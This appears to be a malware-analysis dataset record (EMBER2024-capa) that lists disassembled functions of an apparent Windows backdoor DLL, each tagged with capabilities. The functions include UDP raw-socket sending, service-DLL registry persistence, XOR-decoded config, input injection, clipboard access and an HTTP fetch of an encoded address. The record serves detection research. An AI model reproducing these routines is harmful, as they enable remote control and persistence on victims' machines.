joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006fe0
Capabilities:
Create raw socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x1a4
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x7d0
call ebx
lea eax, [esp + 0x1c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
push 0x11
push 3
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100070a8
lea ecx, [esp + 8]
push 4
push ecx
push 2
push 0
push esi
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x100070a8
mov edx, dword [esp + 0x1b4]
mov word [esp + 0xc], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xe], ax
mov eax, dword [esp + 0x1b0]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x100070a8
mov eax, dword [0x1001a5c0]
test eax, eax
je 0x100070a1
push edi
mov edi, dword [sym.imp.WS2_32.dll_sendto]
mov ecx, dword [0x1001a7bc]
lea eax, [esp + 0x10]
push 0x10
push eax
push 0
push ecx
push 0x10019f70
push esi
call edi
push 0xa
call ebx
mov eax, dword [0x1001a5c0]
test eax, eax
jne 0x1000707b
pop edi
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
pop ebx
add esp, 0x1a4
ret

Function at 0x10007610
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000766c
push esi
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0xc]
shl eax, 1
push eax
mov eax, dword [esp + 0x14]
push esi
push 2
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
pop esi
jne 0x1000766c
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x10007670
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x100076c2
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x100076c2
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret
Function at 0x10007d20
Capabilities:
Delete file
Get common file path
Stop service

Disassembly:
sub esp, 0x624
lea eax, [esp + 0x1c]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x208
mov esi, ecx
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x28]
push str.info.dat
push ecx
call ebx
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esi, 0x210
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea eax, [esp + 0x230]
push 0x400
push eax
call edi
lea ecx, [esp + 0x230]
push str.hidserv.dll
push ecx
call ebx
lea edx, [esp + 0x230]
push edx
push str.ServiceDll
push str.SYSTEMCurrentControlSetServicesHidServParameters
push reloc.WS2_32.dll_bind
call fcn.10007610
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesHidServ
push reloc.WS2_32.dll_bind
call fcn.10007670
add esp, 0x20
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x10007e0e
push 0xf01ff
push str.HidServ
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10007e0b
lea eax, [esp + 0xc]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 0x624
ret

Function at 0x10007fe0
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x10013500
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.100080b0
mov dword [esp + 8], eax
lea edx, [esp + 0xc]
neg eax
sbb eax, eax
push str._kaspersky
push 0xb18
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test eax, eax
mov dword [0x1001b0d4], eax
jne 0x10008053
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
jmp 0x10008073
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x1001b0d0], eax
mov dword [esp + 4], esi
test eax, eax
mov eax, dword [esp + 8]
jne 0x1000808e
test eax, eax
je 0x10008087
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x100080a2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x100082b0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x20c
push ebx
push ebp
push esi
lea eax, [esp + 0x10]
xor esi, esi
push 0x208
mov ebp, ecx
push eax
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 0x10]
push str.info.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
push 0x80
push 3
push esi
push 1
lea edx, [esp + 0x24]
push accept
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10008353
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea eax, [esi + esi]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x10]
mov edi, eax
push 0
push ecx
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, esi
shr ecx, 1
je 0x1000833e
mov eax, edi
xor word [eax], 0x38
add eax, 2
dec ecx
jne 0x10008334
push esi
push edi
mov ecx, ebp
call fcn.10008250
push edi
mov esi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
Function at 0x10008940
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013530
push 0x10012488
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x10008977
jmp dword [eax*4 + 0x10008aa4]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne case.default.0x10008977
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne case.default.0x10008977
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jbe case.default.0x10008977
cmp esi, 2
jbe 0x100089e6
cmp esi, 4
jne case.default.0x10008977
push esi
lea ecx, [ebp + 0x1c]
push ecx
push esi
jmp 0x100089f7
mov edi, dword [ebp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
push ecx
push edi
push esi
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne case.default.0x10008977
jmp 0x10008a6a
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne case.default.0x10008977
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne case.default.0x10008977
jmp 0x10008a6a
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne case.default.0x10008977
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne case.default.0x10008977
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.10008a91
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008ac0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001293e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10008370
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x10013544
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x10008b87
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x1001353c
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x10008be3
push 0x64
push 0
push 8
mov ecx, eax
call fcn.100096d0
jmp 0x10008be5
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x10009210
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000bb10
push ebx
push 0
push 0
push esi
push 0x10009280
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000bb10
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x10009380
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10009531
call fcn.1000bb90
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10009531
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x100093fd
cmp eax, 0x208
ja 0x100093fd
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x100094ad
je 0x10009495
cmp eax, 0x105
ja 0x10009469
je 0x1000944b
sub eax, 0x100
je 0x1000942d
dec eax
je 0x1000944b
sub eax, 3
jne case.0x100094b7.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x100094b7.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x100094b7.521
sub eax, 0x201
je 0x10009486
dec eax
jne case.0x100094b7.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 2
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x1000951a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x100094b7.521
jmp dword [eax*4 + 0x10009538]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000951a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x100093c9
pop edi
pop ebp
pop ebx
pop esi
ret 8
Function at 0x100094be
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10009531
call fcn.1000bb90
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10009531
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x100093fd
cmp eax, 0x208
ja 0x100093fd
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x100094ad
je 0x10009495
cmp eax, 0x105
ja 0x10009469
je 0x1000944b
sub eax, 0x100
je 0x1000942d
dec eax
je 0x1000944b
sub eax, 3
jne case.0x100094b7.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x100094b7.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x100094b7.521
sub eax, 0x201
je 0x10009486
dec eax
jne case.0x100094b7.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 2
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x1000951a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x100094b7.521
jmp dword [eax*4 + 0x10009538]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000951a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000951a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x100093c9
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x10009560
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100095c8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x100095c0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x100095d0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10009662
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10009601
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.100083f0
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x10009aa0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x10009c53
cmp dword [esi + 0x1c], edi
je 0x10009c53
call fcn.1000a060
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.10009ea0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.10009ea0
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x10009b36
cmp dword [esp + 0x1c], 1
jne 0x10009b36
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x10009b23
inc edi
add eax, 4
cmp edi, 0x10
jl 0x10009b16
push ecx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp edi, 0x10
jne 0x10009b32
or edi, 0xffffffff
mov eax, edi
jmp 0x10009b39
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.10009ea0
cmp byte [ebx], 2
jne 0x10009ba1
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000a0a0
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.1000a100
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov ecx, dword [esp + 0x14]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x1001b0e0]
cmp ecx, eax
mov edi, edx
je 0x10009bce
push edi
mov ecx, esi
call fcn.10009c60
test al, al
je 0x10009bce
add edi, 0x13
jmp 0x10009bd1
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x10009bef
push edi
mov ecx, esi
call fcn.10009c60
test al, al
je 0x10009be5
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x10009bd6
mov eax, dword [esp + 0x14]
mov ecx, 0x13
mov dword [0x1001b0e0], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x10009c3c
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x10009c2b
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4
Function at 0x1000a310
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.1000a1b0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x1000a358
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x18
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1000a332
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x1000a480
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x1c10
call fcn.10012430
push esi
mov esi, dword [esp + 0x1c18]
test esi, esi
push edi
jne 0x1000a4a2
pop edi
xor al, al
pop esi
add esp, 0x1c10
ret
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str.http:__
push esi
mov dword [esp + 0x14], 0
mov byte [esp + 0x13], 0
call edi
add esp, 8
test eax, eax
jne 0x1000a517
push str.https:__
push esi
call edi
add esp, 8
test eax, eax
jne 0x1000a517
mov eax, dword [esp + 0x1c34]
mov ecx, dword [esp + 0x1c30]
mov edx, dword [esp + 0x1c2c]
push eax
mov eax, dword [esp + 0x1c2c]
push ecx
mov ecx, dword [esp + 0x1c2c]
push edx
mov edx, dword [esp + 0x1c2c]
push eax
push ecx
push edx
push esi
call fcn.1000a360
add esp, 0x1c
mov al, 1
pop edi
pop esi
add esp, 0x1c10
ret
push 0
push 0
push 0
push 0
push 0x100184c8
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x1000a53d
pop edi
xor al, al
pop esi
add esp, 0x1c10
ret
push 0
push 0x80000100
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edx, eax
test edx, edx
mov dword [esp + 0x10], edx
jne 0x1000a565
pop edi
xor al, al
pop esi
add esp, 0x1c10
ret
push ebx
mov ebx, dword [esp + 0x1c34]
push ebp
mov ebp, dword [esp + 0x1c3c]
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0xc20]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc20]
push eax
push 0x1000
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [esp + 0xc20]
push str.AAAA
push edx
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
and eax, eax
jbe 0x1000a666
lea eax, [esp + 0xc20]
push 0x800
lea ecx, [esp + 0x424]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcstombs]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x42c]
push 0x100184b4
push edx
call edi
mov esi, eax
add esp, 0x14
test esi, esi
je 0x1000a666
add esi, 4
push 0x100184b4
push esi
call edi
mov edx, eax
add esp, 8
test edx, edx
je 0x1000a666
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [esp + 0x20]
sub ecx, esi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
call fcn.1000a310
mov edx, dword [esp + 0x1c38]
mov ecx, dword [esp + 0x1c34]
push ebp
push ebx
push edx
mov edx, dword [esp + 0x1c3c]
push ecx
mov ecx, dword [esp + 0x1c3c]
push edx
push ecx
push eax
call fcn.1000a360
add esp, 0x20
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
test eax, eax
ja 0x1000a575
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov al, byte [esp + 0x13]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x1c10
ret